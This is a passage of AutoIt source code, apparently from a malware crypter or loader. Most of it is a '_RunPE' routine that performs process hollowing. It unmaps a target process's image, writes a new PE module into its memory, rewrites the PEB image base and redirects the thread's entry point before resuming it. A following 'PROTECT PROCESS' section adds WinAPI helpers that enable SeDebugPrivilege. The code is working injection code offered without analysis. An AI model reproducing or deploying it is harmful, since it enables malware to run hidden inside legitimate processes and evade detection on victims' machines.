  614.         $timage_optional_header = DllStructCreate("WORD MAGIC;" & "BYTE MAJORLINKERVERSION;" & "BYTE MINORLINKERVERSION;" & "DWORD SIZEOFCODE;" & "DWORD SIZEOFINITIALIZEDDATA;" & "DWORD SIZEOFUNINITIALIZEDDATA;" & "DWORD ADDRESSOFENTRYPOINT;" & "DWORD BASEOFCODE;" & "DWORD BASEOFDATA;" & "DWORD IMAGEBASE;" & "DWORD SECTIONALIGNMENT;" & "DWORD FILEALIGNMENT;" & "WORD MAJOROPERATINGSYSTEMVERSION;" & "WORD MINOROPERATINGSYSTEMVERSION;" & "WORD MAJORIMAGEVERSION;" & "WORD MINORIMAGEVERSION;" & "WORD MAJORSUBSYSTEMVERSION;" & "WORD MINORSUBSYSTEMVERSION;" & "DWORD WIN32VERSIONVALUE;" & "DWORD SIZEOFIMAGE;" & "DWORD SIZEOFHEADERS;" & "DWORD CHECKSUM;" & "WORD SUBSYSTEM;" & "WORD DLLCHARACTERISTICS;" & "DWORD SIZEOFSTACKRESERVE;" & "DWORD SIZEOFSTACKCOMMIT;" & "DWORD SIZEOFHEAPRESERVE;" & "DWORD SIZEOFHEAPCOMMIT;" & "DWORD LOADERFLAGS;" & "DWORD NUMBEROFRVAANDSIZES", $ppointer)
  615.         $ppointer += 96
  616.     ElseIf $imagic = 523 Then
  617.         If Not $fautoitx64 Then
  618.             DllCall("KERNEL32.DLL", "BOOL", "TerminateProcess", "HANDLE", $hprocess, "DWORD", 0)
  619.             Return SetError(6, 0, 0)
  620.         EndIf
  621.         $timage_optional_header = DllStructCreate("WORD MAGIC;" & "BYTE MAJORLINKERVERSION;" & "BYTE MINORLINKERVERSION;" & "DWORD SIZEOFCODE;" & "DWORD SIZEOFINITIALIZEDDATA;" & "DWORD SIZEOFUNINITIALIZEDDATA;" & "DWORD ADDRESSOFENTRYPOINT;" & "DWORD BASEOFCODE;" & "UINT64 IMAGEBASE;" & "DWORD SECTIONALIGNMENT;" & "DWORD FILEALIGNMENT;" & "WORD MAJOROPERATINGSYSTEMVERSION;" & "WORD MINOROPERATINGSYSTEMVERSION;" & "WORD MAJORIMAGEVERSION;" & "WORD MINORIMAGEVERSION;" & "WORD MAJORSUBSYSTEMVERSION;" & "WORD MINORSUBSYSTEMVERSION;" & "DWORD WIN32VERSIONVALUE;" & "DWORD SIZEOFIMAGE;" & "DWORD SIZEOFHEADERS;" & "DWORD CHECKSUM;" & "WORD SUBSYSTEM;" & "WORD DLLCHARACTERISTICS;" & "UINT64 SIZEOFSTACKRESERVE;" & "UINT64 SIZEOFSTACKCOMMIT;" & "UINT64 SIZEOFHEAPRESERVE;" & "UINT64 SIZEOFHEAPCOMMIT;" & "DWORD LOADERFLAGS;" & "DWORD NUMBEROFRVAANDSIZES", $ppointer)
  622.         $ppointer += 112
  623.     Else
  624.         DllCall("KERNEL32.DLL", "BOOL", "TerminateProcess", "HANDLE", $hprocess, "DWORD", 0)
  625.         Return SetError(6, 0, 0)
  626.     EndIf
  627.     Local $ientrypointnew = DllStructGetData($timage_optional_header, "ADDRESSOFENTRYPOINT")
  628.     Local $ioptionalheadersizeofheadersnew = DllStructGetData($timage_optional_header, "SIZEOFHEADERS")
  629.     Local $poptionalheaderimagebasenew = DllStructGetData($timage_optional_header, "IMAGEBASE")
  630.     Local $ioptionalheadersizeofimagenew = DllStructGetData($timage_optional_header, "SIZEOFIMAGE")
  631.     $ppointer += 8
  632.     $ppointer += 8
  633.     $ppointer += 24
  634.     Local $timage_directory_entry_basereloc = DllStructCreate("DWORD VIRTUALADDRESS; DWORD SIZE", $ppointer)
  635.     Local $paddressnewbasereloc = DllStructGetData($timage_directory_entry_basereloc, "VIRTUALADDRESS")
  636.     Local $isizebasereloc = DllStructGetData($timage_directory_entry_basereloc, "SIZE")
  637.     Local $frelocatable
  638.     If $paddressnewbasereloc And $isizebasereloc Then $frelocatable = True
  639.     If Not $frelocatable Then ConsoleWrite("!!!NOT RELOCATABLE MODULE. I WILL TRY BUT THIS MAY NOT WORK!!!" & @CRLF)
  640.     $ppointer += 88
  641.     #region 6. ALLOCATE 'NEW' MEMORY SPACE
  642.     Local $frelocate
  643.     Local $pzeropoint
  644.     If $frelocatable Then
  645.         $pzeropoint = __runpe_allocateexespace($hprocess, $ioptionalheadersizeofimagenew)
  646.         If @error Then
  647.             $pzeropoint = __runpe_allocateexespaceataddress($hprocess, $poptionalheaderimagebasenew, $ioptionalheadersizeofimagenew)
  648.             If @error Then
  649.                 __runpe_unmapviewofsection($hprocess, $poptionalheaderimagebasenew)
  650.                 $pzeropoint = __runpe_allocateexespaceataddress($hprocess, $poptionalheaderimagebasenew, $ioptionalheadersizeofimagenew)
  651.                 If @error Then
  652.                     DllCall("KERNEL32.DLL", "BOOL", "TerminateProcess", "HANDLE", $hprocess, "DWORD", 0)
  653.                     Return SetError(101, 1, 0)
  654.                 EndIf
  655.             EndIf
  656.         EndIf
  657.         $frelocate = True
  658.     Else
  659.         $pzeropoint = __runpe_allocateexespaceataddress($hprocess, $poptionalheaderimagebasenew, $ioptionalheadersizeofimagenew)
  660.         If @error Then
  661.             __runpe_unmapviewofsection($hprocess, $poptionalheaderimagebasenew)
  662.             $pzeropoint = __runpe_allocateexespaceataddress($hprocess, $poptionalheaderimagebasenew, $ioptionalheadersizeofimagenew)
  663.             If @error Then
  664.                 DllCall("KERNEL32.DLL", "BOOL", "TerminateProcess", "HANDLE", $hprocess, "DWORD", 0)
  665.                 Return SetError(101, 0, 0)
  666.             EndIf
  667.         EndIf
  668.     EndIf
  669.     DllStructSetData($timage_optional_header, "IMAGEBASE", $pzeropoint)
  670.     #region 7. CONSTRUCT THE NEW MODULE
  671.     Local $tmodule = DllStructCreate("BYTE[" & $ioptionalheadersizeofimagenew & "]")
  672.     Local $pmodule = DllStructGetPtr($tmodule)
  673.     Local $theaders = DllStructCreate("BYTE[" & $ioptionalheadersizeofheadersnew & "]", $pheaders_new)
  674.     DllStructSetData($tmodule, 1, DllStructGetData($theaders, 1))
  675.     Local $timage_section_header
  676.     Local $isizeofrawdata, $ppointertorawdata
  677.     Local $ivirtualaddress, $ivirtualsize
  678.     Local $trelocraw
  679.     For $i = 1 To $inumberofsections
  680.         $timage_section_header = DllStructCreate("CHAR NAME[8];" & "DWORD UNIONOFVIRTUALSIZEANDPHYSICALADDRESS;" & "DWORD VIRTUALADDRESS;" & "DWORD SIZEOFRAWDATA;" & "DWORD POINTERTORAWDATA;" & "DWORD POINTERTORELOCATIONS;" & "DWORD POINTERTOLINENUMBERS;" & "WORD NUMBEROFRELOCATIONS;" & "WORD NUMBEROFLINENUMBERS;" & "DWORD CHARACTERISTICS", $ppointer)
  681.         $isizeofrawdata = DllStructGetData($timage_section_header, "SIZEOFRAWDATA")
  682.         $ppointertorawdata = $pheaders_new + DllStructGetData($timage_section_header, "POINTERTORAWDATA")
  683.         $ivirtualaddress = DllStructGetData($timage_section_header, "VIRTUALADDRESS")
  684.         $ivirtualsize = DllStructGetData($timage_section_header, "UNIONOFVIRTUALSIZEANDPHYSICALADDRESS")
  685.         If $ivirtualsize And $ivirtualsize < $isizeofrawdata Then $isizeofrawdata = $ivirtualsize
  686.         If $isizeofrawdata Then
  687.             DllStructSetData(DllStructCreate("BYTE[" & $isizeofrawdata & "]", $pmodule + $ivirtualaddress), 1, DllStructGetData(DllStructCreate("BYTE[" & $isizeofrawdata & "]", $ppointertorawdata), 1))
  688.         EndIf
  689.         If $frelocate Then
  690.             If $ivirtualaddress <= $paddressnewbasereloc And $ivirtualaddress + $isizeofrawdata > $paddressnewbasereloc Then
  691.                 $trelocraw = DllStructCreate("BYTE[" & $isizebasereloc & "]", $ppointertorawdata + ($paddressnewbasereloc - $ivirtualaddress))
  692.             EndIf
  693.         EndIf
  694.         $ppointer += 40
  695.     Next
  696.     If $frelocate Then __runpe_fixreloc($pmodule, $trelocraw, $pzeropoint, $poptionalheaderimagebasenew, $imagic = 523)
  697.     $acall = DllCall("KERNEL32.DLL", "BOOL", "WriteProcessMemory", "HANDLE", $hprocess, "PTR", $pzeropoint, "PTR", $pmodule, "DWORD_PTR", $ioptionalheadersizeofimagenew, "DWORD_PTR*", 0)
  698.     If @error Or Not $acall[0] Then
  699.         DllCall("KERNEL32.DLL", "BOOL", "TerminateProcess", "HANDLE", $hprocess, "DWORD", 0)
  700.         Return SetError(7, 0, 0)
  701.     EndIf
  702.     #region 8. PEB IMAGEBASEADDRESS MANIPULATION
  703.     Local $tpeb = DllStructCreate("BYTE INHERITEDADDRESSSPACE;" & "BYTE READIMAGEFILEEXECOPTIONS;" & "BYTE BEINGDEBUGGED;" & "BYTE SPARE;" & "PTR MUTANT;" & "PTR IMAGEBASEADDRESS;" & "PTR LOADERDATA;" & "PTR PROCESSPARAMETERS;" & "PTR SUBSYSTEMDATA;" & "PTR PROCESSHEAP;" & "PTR FASTPEBLOCK;" & "PTR FASTPEBLOCKROUTINE;" & "PTR FASTPEBUNLOCKROUTINE;" & "DWORD ENVIRONMENTUPDATECOUNT;" & "PTR KERNELCALLBACKTABLE;" & "PTR EVENTLOGSECTION;" & "PTR EVENTLOG;" & "PTR FREELIST;" & "DWORD TLSEXPANSIONCOUNTER;" & "PTR TLSBITMAP;" & "DWORD TLSBITMAPBITS[2];" & "PTR READONLYSHAREDMEMORYBASE;" & "PTR READONLYSHAREDMEMORYHEAP;" & "PTR READONLYSTATICSERVERDATA;" & "PTR ANSICODEPAGEDATA;" & "PTR OEMCODEPAGEDATA;" & "PTR UNICODECASETABLEDATA;" & "DWORD NUMBEROFPROCESSORS;" & "DWORD NTGLOBALFLAG;" & "BYTE SPARE2[4];" & "INT64 CRITICALSECTIONTIMEOUT;" & "DWORD HEAPSEGMENTRESERVE;" & "DWORD HEAPSEGMENTCOMMIT;" & "DWORD HEAPDECOMMITTOTALFREETHRESHOLD;" & "DWORD HEAPDECOMMITFREEBLOCKTHRESHOLD;" & "DWORD NUMBEROFHEAPS;" & "DWORD MAXIMUMNUMBEROFHEAPS;" & "PTR PROCESSHEAPS;" & "PTR GDISHAREDHANDLETABLE;" & "PTR PROCESSSTARTERHELPER;" & "PTR GDIDCATTRIBUTELIST;" & "PTR LOADERLOCK;" & "DWORD OSMAJORVERSION;" & "DWORD OSMINORVERSION;" & "DWORD OSBUILDNUMBER;" & "DWORD OSPLATFORMID;" & "DWORD IMAGESUBSYSTEM;" & "DWORD IMAGESUBSYSTEMMAJORVERSION;" & "DWORD IMAGESUBSYSTEMMINORVERSION;" & "DWORD GDIHANDLEBUFFER[34];" & "DWORD POSTPROCESSINITROUTINE;" & "DWORD TLSEXPANSIONBITMAP;" & "BYTE TLSEXPANSIONBITMAPBITS[128];" & "DWORD SESSIONID")
  704.     $acall = DllCall("KERNEL32.DLL", "BOOL", "ReadProcessMemory", "PTR", $hprocess, "PTR", $ppeb, "PTR", DllStructGetPtr($tpeb), "DWORD_PTR", DllStructGetSize($tpeb), "DWORD_PTR*", 0)
  705.     If @error Or Not $acall[0] Then
  706.         DllCall("KERNEL32.DLL", "BOOL", "TerminateProcess", "HANDLE", $hprocess, "DWORD", 0)
  707.         Return SetError(8, 0, 0)
  708.     EndIf
  709.     DllStructSetData($tpeb, "IMAGEBASEADDRESS", $pzeropoint)
  710.     $acall = DllCall("KERNEL32.DLL", "BOOL", "WriteProcessMemory", "HANDLE", $hprocess, "PTR", $ppeb, "PTR", DllStructGetPtr($tpeb), "DWORD_PTR", DllStructGetSize($tpeb), "DWORD_PTR*", 0)
  711.     If @error Or Not $acall[0] Then
  712.         DllCall("KERNEL32.DLL", "BOOL", "TerminateProcess", "HANDLE", $hprocess, "DWORD", 0)
  713.         Return SetError(9, 0, 0)
  714.     EndIf
  715.     #region 9. NEW ENTRY POINT
  716.     Switch $irunflag
  717.         Case 1
  718.             DllStructSetData($tcontext, "EAX", $pzeropoint + $ientrypointnew)
  719.         Case 2
  720.             DllStructSetData($tcontext, "RCX", $pzeropoint + $ientrypointnew)
  721.         Case 3
  722.     EndSwitch
  723.     #region 10. SET NEW CONTEXT
  724.     $acall = DllCall("KERNEL32.DLL", "BOOL", "SetThreadContext", "HANDLE", $hthread, "PTR", DllStructGetPtr($tcontext))
  725.     If @error Or Not $acall[0] Then
  726.         DllCall("KERNEL32.DLL", "BOOL", "TerminateProcess", "HANDLE", $hprocess, "DWORD", 0)
  727.         Return SetError(10, 0, 0)
  728.     EndIf
  729.     #region 11. RESUME THREAD
  730.     $acall = DllCall("KERNEL32.DLL", "DWORD", "ResumeThread", "HANDLE", $hthread)
  731.     If @error Or $acall[0] = -1 Then
  732.         DllCall("KERNEL32.DLL", "BOOL", "TerminateProcess", "HANDLE", $hprocess, "DWORD", 0)
  733.         Return SetError(11, 0, 0)
  734.     EndIf
  735.     #region 12. CLOSE OPEN HANDLES AND RETURN PID
  736.     DllCall("KERNEL32.DLL", "BOOL", "CloseHandle", "HANDLE", $hprocess)
  737.     DllCall("KERNEL32.DLL", "BOOL", "CloseHandle", "HANDLE", $hthread)
  738.     Return DllStructGetData($tprocess_information, "PROCESSID")
  739. EndFunc   ;==>_RunPE
  740.  
  741. Func __runpe_fixreloc($pmodule, $tdata, $paddressnew, $paddressold, $fimagex64)
  742.     Local $idelta = $paddressnew - $paddressold
  743.     Local $isize = DllStructGetSize($tdata)
  744.     Local $pdata = DllStructGetPtr($tdata)
  745.     Local $timage_base_relocation, $irelativemove
  746.     Local $ivirtualaddress, $isizeofblock, $inumberofentries
  747.     Local $tenries, $idata, $taddress
  748.     Local $iflag = 3 + 7 * $fimagex64
  749.     While $irelativemove < $isize
  750.         $timage_base_relocation = DllStructCreate("DWORD VIRTUALADDRESS; DWORD SIZEOFBLOCK", $pdata + $irelativemove)
  751.         $ivirtualaddress = DllStructGetData($timage_base_relocation, "VIRTUALADDRESS")
  752.         $isizeofblock = DllStructGetData($timage_base_relocation, "SIZEOFBLOCK")
  753.         $inumberofentries = ($isizeofblock - 8) / 2
  754.         $tenries = DllStructCreate("WORD[" & $inumberofentries & "]", DllStructGetPtr($timage_base_relocation) + 8)
  755.         For $i = 1 To $inumberofentries
  756.             $idata = DllStructGetData($tenries, 1, $i)
  757.             If BitShift($idata, 12) = $iflag Then
  758.                 $taddress = DllStructCreate("PTR", $pmodule + $ivirtualaddress + BitAND($idata, 4095))
  759.                 DllStructSetData($taddress, 1, DllStructGetData($taddress, 1) + $idelta)
  760.             EndIf
  761.         Next
  762.         $irelativemove += $isizeofblock
  763.     WEnd
  764.     Return 1
  765. EndFunc   ;==>__runpe_fixreloc
  766.  
  767. Func __runpe_allocateexespaceataddress($hprocess, $paddress, $isize)
  768.     Local $acall = DllCall("KERNEL32.DLL", "PTR", "VirtualAllocEx", "HANDLE", $hprocess, "PTR", $paddress, "DWORD_PTR", $isize, "DWORD", 4096, "DWORD", 64)
  769.     If @error Or Not $acall[0] Then
  770.         $acall = DllCall("KERNEL32.DLL", "PTR", "VirtualAllocEx", "HANDLE", $hprocess, "PTR", $paddress, "DWORD_PTR", $isize, "DWORD", 12288, "DWORD", 64)
  771.         If @error Or Not $acall[0] Then Return SetError(1, 0, 0)
  772.     EndIf
  773.     Return $acall[0]
  774. EndFunc   ;==>__runpe_allocateexespaceataddress
  775.  
  776. Func __runpe_allocateexespace($hprocess, $isize)
  777.     Local $acall = DllCall("KERNEL32.DLL", "PTR", "VirtualAllocEx", "HANDLE", $hprocess, "PTR", 0, "DWORD_PTR", $isize, "DWORD", 12288, "DWORD", 64)
  778.     If @error Or Not $acall[0] Then Return SetError(1, 0, 0)
  779.     Return $acall[0]
  780. EndFunc   ;==>__runpe_allocateexespace
  781.  
  782. Func __runpe_unmapviewofsection($hprocess, $paddress)
  783.     DllCall("NTDLL.DLL", "INT", "NtUnmapViewOfSection", "PTR", $hprocess, "PTR", $paddress)
  784.     If @error Then Return SetError(1, 0, 0)
  785.     Return 1
  786. EndFunc   ;==>__runpe_unmapviewofsection
  787.  
  788. Func __runpe_iswow64process($hprocess)
  789.     Local $acall = DllCall("KERNEL32.DLL", "BOOL", "IsWow64Process", "HANDLE", $hprocess, "BOOL*", 0)
  790.     If @error Or Not $acall[0] Then Return SetError(1, 0, 0)
  791.     Return $acall[2]
  792. EndFunc   ;==>__runpe_iswow64process
  793.  
  794. ;END OF RUNPE----------------------------------
  795.  
  796. ;PROTECT PROCESS
  797. Global Const $tagrect = "struct;long Left;long Top;long Right;long Bottom;endstruct"
  798. Global Const $tagtoken_privileges = "dword Count;align 4;int64 LUID;dword Attributes"
  799. Global Const $error_no_token = 1008
  800. Global Const $se_privilege_enabled_by_default = 1
  801. Global Const $se_privilege_enabled = 2
  802. Global Const $se_privilege_removed = 4
  803. Global Enum $tokenprimary = 1, $tokenimpersonation
  804. Global Enum $securityanonymous = 0, $securityidentification, $securityimpersonation, $securitydelegation
  805. Global Const $token_assign_primary = 1
  806. Global Const $token_duplicate = 2
  807. Global Const $token_impersonate = 4
  808. Global Const $token_query = 8
  809. Global Const $token_query_source = 16
  810. Global Const $token_adjust_privileges = 32
  811.  
  812. Func _winapi_getlasterror($curerr = @error, $curext = @extended)
  813.     Local $aresult = DllCall("kernel32.dll", "dword", "GetLastError")
  814.     Return SetError($curerr, $curext, $aresult[0])
  815. EndFunc
  816.  
  817. Func _security__adjusttokenprivileges($htoken, $fdisableall, $pnewstate, $ibufferlen, $pprevstate = 0, $prequired = 0)
  818.     Local $acall = DllCall("advapi32.dll", "bool", "AdjustTokenPrivileges", "handle", $htoken, "bool", $fdisableall, "struct*", $pnewstate, "dword", $ibufferlen, "struct*", $pprevstate, "struct*", $prequired)
  819.     If @error Then Return SetError(1, @extended, False)
  820.     Return NOT ($acall[0] = 0)
  821. EndFunc
  822.  
  823. Func _security__getlengthsid($psid)
  824.     If NOT _security__isvalidsid($psid) Then Return SetError(1, @extended, 0)
  825.     Local $acall = DllCall("advapi32.dll", "dword", "GetLengthSid", "struct*", $psid)
  826.     If @error Then Return SetError(2, @extended, 0)
  827.     Return $acall[0]
  828. EndFunc
  829.  
  830. Func _security__impersonateself($ilevel = $securityimpersonation)
  831.     Local $acall = DllCall("advapi32.dll", "bool", "ImpersonateSelf", "int", $ilevel)
  832.     If @error Then Return SetError(1, @extended, False)
  833.     Return NOT ($acall[0] = 0)
  834. EndFunc
  835.  
  836. Func _security__isvalidsid($psid)
  837.     Local $acall = DllCall("advapi32.dll", "bool", "IsValidSid", "struct*", $psid)
  838.     If @error Then Return SetError(1, @extended, False)
  839.     Return NOT ($acall[0] = 0)
  840. EndFunc
  841.  
  842. Func _security__lookupaccountname($saccount, $ssystem = "")
  843.     Local $tdata = DllStructCreate("byte SID[256]")
  844.     Local $acall = DllCall("advapi32.dll", "bool", "LookupAccountNameW", "wstr", $ssystem, "wstr", $saccount, "struct*", $tdata, "dword*", DllStructGetSize($tdata), "wstr", "", "dword*", DllStructGetSize($tdata), "int*", 0)
  845.     If @error OR NOT $acall[0] Then Return SetError(1, @extended, 0)
  846.     Local $aacct[3]
  847.     $aacct[0] = _security__sidtostringsid(DllStructGetPtr($tdata, "SID"))
  848.     $aacct[1] = $acall[5]
  849.     $aacct[2] = $acall[7]
  850.     Return $aacct
  851. EndFunc
  852.  
  853. Func _security__lookupprivilegevalue($ssystem, $sname)
  854.     Local $acall = DllCall("advapi32.dll", "bool", "LookupPrivilegeValueW", "wstr", $ssystem, "wstr", $sname, "int64*", 0)
  855.     If @error OR NOT $acall[0] Then Return SetError(1, @extended, 0)
  856.     Return $acall[3]
  857. EndFunc
  858.  
  859. Func _security__openthreadtoken($iaccess, $hthread = 0, $fopenasself = False)
  860.     If $hthread = 0 Then $hthread = _winapi_getcurrentthread()
  861.     If @error Then Return SetError(1, @extended, 0)
  862.     Local $acall = DllCall("advapi32.dll", "bool", "OpenThreadToken", "handle", $hthread, "dword", $iaccess, "bool", $fopenasself, "handle*", 0)
  863.     If @error OR NOT $acall[0] Then Return SetError(2, @extended, 0)
  864.     Return $acall[4]
  865. EndFunc
  866.  
  867. Func _security__openthreadtokenex($iaccess, $hthread = 0, $fopenasself = False)
  868.     Local $htoken = _security__openthreadtoken($iaccess, $hthread, $fopenasself)
  869.     If $htoken = 0 Then
  870.         If _winapi_getlasterror() <> $error_no_token Then Return SetError(3, _winapi_getlasterror(), 0)
  871.         If NOT _security__impersonateself() Then Return SetError(1, _winapi_getlasterror(), 0)
  872.         $htoken = _security__openthreadtoken($iaccess, $hthread, $fopenasself)
  873.         If $htoken = 0 Then Return SetError(2, _winapi_getlasterror(), 0)
  874.     EndIf
  875.     Return $htoken
  876. EndFunc
  877.  
  878. Func _security__setprivilege($htoken, $sprivilege, $fenable)
  879.     Local $iluid = _security__lookupprivilegevalue("", $sprivilege)
  880.     If $iluid = 0 Then Return SetError(1, @extended, False)
  881.     Local $tcurrstate = DllStructCreate($tagtoken_privileges)
  882.     Local $icurrstate = DllStructGetSize($tcurrstate)
  883.     Local $tprevstate = DllStructCreate($tagtoken_privileges)
  884.     Local $iprevstate = DllStructGetSize($tprevstate)
  885.     Local $trequired = DllStructCreate("int Data")
  886.     DllStructSetData($tcurrstate, "Count", 1)
  887.     DllStructSetData($tcurrstate, "LUID", $iluid)
  888.     If NOT _security__adjusttokenprivileges($htoken, False, $tcurrstate, $icurrstate, $tprevstate, $trequired) Then Return SetError(2, @error, False)
  889.     DllStructSetData($tprevstate, "Count", 1)
  890.     DllStructSetData($tprevstate, "LUID", $iluid)
  891.     Local $iattributes = DllStructGetData($tprevstate, "Attributes")
  892.     If $fenable Then
  893.         $iattributes = BitOR($iattributes, $se_privilege_enabled)
  894.     Else
  895.         $iattributes = BitAND($iattributes, BitNOT($se_privilege_enabled))
  896.     EndIf
  897.     DllStructSetData($tprevstate, "Attributes", $iattributes)
  898.     If NOT _security__adjusttokenprivileges($htoken, False, $tprevstate, $iprevstate, $tcurrstate, $trequired) Then Return SetError(3, @error, False)
  899.     Return True
  900. EndFunc
  901.  
  902. Func _security__sidtostringsid($psid)
  903.     If NOT _security__isvalidsid($psid) Then Return SetError(1, 0, "")
  904.     Local $acall = DllCall("advapi32.dll", "bool", "ConvertSidToStringSidW", "struct*", $psid, "ptr*", 0)
  905.     If @error OR NOT $acall[0] Then Return SetError(2, @extended, "")
  906.     Local $pstringsid = $acall[2]
  907.     Local $ssid = DllStructGetData(DllStructCreate("wchar Text[" & _winapi_stringlenw($pstringsid) + 1 & "]", $pstringsid), "Text")
  908.     _winapi_localfree($pstringsid)
  909.     Return $ssid
  910. EndFunc
  911.  
  912. Func _security__stringsidtosid($ssid)
  913.     Local $acall = DllCall("advapi32.dll", "bool", "ConvertStringSidToSidW", "wstr", $ssid, "ptr*", 0)
  914.     If @error OR NOT $acall[0] Then Return SetError(1, @extended, 0)
  915.     Local $psid = $acall[2]
  916.     Local $tbuffer = DllStructCreate("byte Data[" & _security__getlengthsid($psid) & "]", $psid)
  917.     Local $tsid = DllStructCreate("byte Data[" & DllStructGetSize($tbuffer) & "]")
  918.     DllStructSetData($tsid, "Data", DllStructGetData($tbuffer, "Data"))
  919.     _winapi_localfree($psid)
  920.     Return $tsid
  921. EndFunc
  922.  
  923. Func _winapi_closehandle($hobject)
  924.     Local $aresult = DllCall("kernel32.dll", "bool", "CloseHandle", "handle", $hobject)
  925.     If @error Then Return SetError(@error, @extended, False)
  926.     Return $aresult[0]
  927. EndFunc
  928.  
  929. Func _winapi_createsolidbrush($ncolor)
  930.     Local $aresult = DllCall("gdi32.dll", "handle", "CreateSolidBrush", "dword", $ncolor)
  931.     If @error Then Return SetError(@error, @extended, 0)
  932.     Return $aresult[0]
  933. EndFunc
  934.  
  935. Func _winapi_deletedc($hdc)
  936.     Local $aresult = DllCall("gdi32.dll", "bool", "DeleteDC", "handle", $hdc)
  937.     If @error Then Return SetError(@error, @extended, False)
  938.     Return $aresult[0]
  939. EndFunc
  940.  
  941. Func _winapi_deleteobject($hobject)
  942.     Local $aresult = DllCall("gdi32.dll", "bool", "DeleteObject", "handle", $hobject)
  943.     If @error Then Return SetError(@error, @extended, False)
  944.     Return $aresult[0]
  945. EndFunc
  946.  
  947. Func _winapi_fillrect($hdc, $ptrrect, $hbrush)
  948.     Local $aresult
  949.     If IsPtr($hbrush) Then
  950.         $aresult = DllCall("user32.dll", "int", "FillRect", "handle", $hdc, "struct*", $ptrrect, "handle", $hbrush)
  951.     Else
  952.         $aresult = DllCall("user32.dll", "int", "FillRect", "handle", $hdc, "struct*", $ptrrect, "dword_ptr", $hbrush)
  953.     EndIf
  954.     If @error Then Return SetError(@error, @extended, False)
  955.     Return $aresult[0]
  956. EndFunc
  957.  
  958. Func _winapi_getclassname($hwnd)
  959.     If NOT IsHWnd($hwnd) Then $hwnd = GUICtrlGetHandle($hwnd)
  960.     Local $aresult = DllCall("user32.dll", "int", "GetClassNameW", "hwnd", $hwnd, "wstr", "", "int", 4096)
  961.     If @error Then Return SetError(@error, @extended, False)
  962.     Return SetExtended($aresult[0], $aresult[2])
  963. EndFunc
  964.  
  965. Func _winapi_getclientrect($hwnd)
  966.     Local $trect = DllStructCreate($tagrect)
  967.     DllCall("user32.dll", "bool", "GetClientRect", "hwnd", $hwnd, "struct*", $trect)
  968.     If @error Then Return SetError(@error, @extended, 0)
  969.     Return $trect
  970. EndFunc
  971.  
  972. Func _winapi_getcurrentthread()
  973.     Local $aresult = DllCall("kernel32.dll", "handle", "GetCurrentThread")
  974.     If @error Then Return SetError(@error, @extended, 0)
  975.     Return $aresult[0]
  976. EndFunc
  977.  
  978. Func _winapi_getdc($hwnd)
  979.     Local $aresult = DllCall("user32.dll", "handle", "GetDC", "hwnd", $hwnd)
  980.     If @error Then Return SetError(@error, @extended, 0)
  981.     Return $aresult[0]
  982. EndFunc
  983.  
  984. Func _winapi_getdesktopwindow()
  985.     Local $aresult = DllCall("user32.dll", "hwnd", "GetDesktopWindow")
  986.     If @error Then Return SetError(@error, @extended, 0)
  987.     Return $aresult[0]
  988. EndFunc
  989.  
  990. Func _winapi_getmodulehandle($smodulename)
  991.     Local $smodulenametype = "wstr"
  992.     If $smodulename = "" Then
  993.         $smodulename = 0
  994.         $smodulenametype = "ptr"
  995.     EndIf
  996.     Local $aresult = DllCall("kernel32.dll", "handle", "GetModuleHandleW", $smodulenametype, $smodulename)
  997.     If @error Then Return SetError(@error, @extended, 0)
  998.     Return $aresult[0]
  999. EndFunc
  1000.  
  1001. Func _winapi_getwindow($hwnd, $icmd)
  1002.     Local $aresult = DllCall("user32.dll", "hwnd", "GetWindow", "hwnd", $hwnd, "uint", $icmd)
  1003.     If @error Then Return SetError(@error, @extended, 0)
  1004.     Return $aresult[0]
  1005. EndFunc
  1006.  
  1007. Func _winapi_iswindowvisible($hwnd)
  1008.     Local $aresult = DllCall("user32.dll", "bool", "IsWindowVisible", "hwnd", $hwnd)
  1009.     If @error Then Return SetError(@error, @extended, 0)
  1010.     Return $aresult[0]
  1011. EndFunc
  1012.  
  1013. Func _winapi_lineto($hdc, $ix, $iy)
  1014.     Local $aresult = DllCall("gdi32.dll", "bool", "LineTo", "handle", $hdc, "int", $ix, "int", $iy)
  1015.     If @error Then Return SetError(@error, @extended, False)
  1016.     Return $aresult[0]
  1017. EndFunc
  1018.  
  1019. Func _winapi_localfree($hmem)
  1020.     Local $aresult = DllCall("kernel32.dll", "handle", "LocalFree", "handle", $hmem)
  1021.     If @error Then Return SetError(@error, @extended, False)
  1022.     Return $aresult[0]
  1023. EndFunc
  1024.  
  1025. Func _winapi_moveto($hdc, $ix, $iy)
  1026.     Local $aresult = DllCall("gdi32.dll", "bool", "MoveToEx", "handle", $hdc, "int", $ix, "int", $iy, "ptr", 0)
  1027.     If @error Then Return SetError(@error, @extended, False)
  1028.     Return $aresult[0]
  1029. EndFunc
  1030.  
  1031. Func _winapi_openprocess($iaccess, $finherit, $iprocessid, $fdebugpriv = False)
  1032.     Local $aresult = DllCall("kernel32.dll", "handle", "OpenProcess", "dword", $iaccess, "bool", $finherit, "dword", $iprocessid)
  1033.     If @error Then Return SetError(@error, @extended, 0)
  1034.     If $aresult[0] Then Return $aresult[0]
  1035.     If NOT $fdebugpriv Then Return 0
  1036.     Local $htoken = _security__openthreadtokenex(BitOR($token_adjust_privileges, $token_query))
  1037.     If @error Then Return SetError(@error, @extended, 0)
  1038.     _security__setprivilege($htoken, "SeDebugPrivilege", True)
  1039.     Local $ierror = @error
  1040.     Local $ilasterror = @extended
  1041.     Local $iret = 0
  1042.     If NOT @error Then
  1043.         $aresult = DllCall("kernel32.dll", "handle", "OpenProcess", "dword", $iaccess, "bool", $finherit, "dword", $iprocessid)
  1044.         $ierror = @error
  1045.         $ilasterror = @extended
  1046.         If $aresult[0] Then $iret = $aresult[0]
  1047.         _security__setprivilege($htoken, "SeDebugPrivilege", False)
  1048.         If @error Then
  1049.             $ierror = @error
  1050.             $ilasterror = @extended
  1051.         EndIf
  1052.     EndIf
  1053.     _winapi_closehandle($htoken)
  1054.     Return SetError($ierror, $ilasterror, $iret)
  1055. EndFunc
  1056.  
  1057. Func __winapi_parsefiledialogpath($spath)
  1058.     Local $afiles[3]
  1059.     $afiles[0] = 2
  1060.     Local $stemp = StringMid($spath, 1, StringInStr($spath, "\\", 0, -1) - 1)
  1061.     $afiles[1] = $stemp
  1062.     $afiles[2] = StringMid($spath, StringInStr($spath, "\\", 0, -1) + 1)
  1063.     Return $afiles
  1064. EndFunc
  1065.  
  1066. Func _winapi_releasedc($hwnd, $hdc)
  1067.     Local $aresult = DllCall("user32.dll", "int", "ReleaseDC", "hwnd", $hwnd, "handle", $hdc)
  1068.     If @error Then Return SetError(@error, @extended, False)
  1069.     Return $aresult[0]
  1070. EndFunc
  1071.  
  1072. Func _winapi_screentoclient($hwnd, ByRef $tpoint)
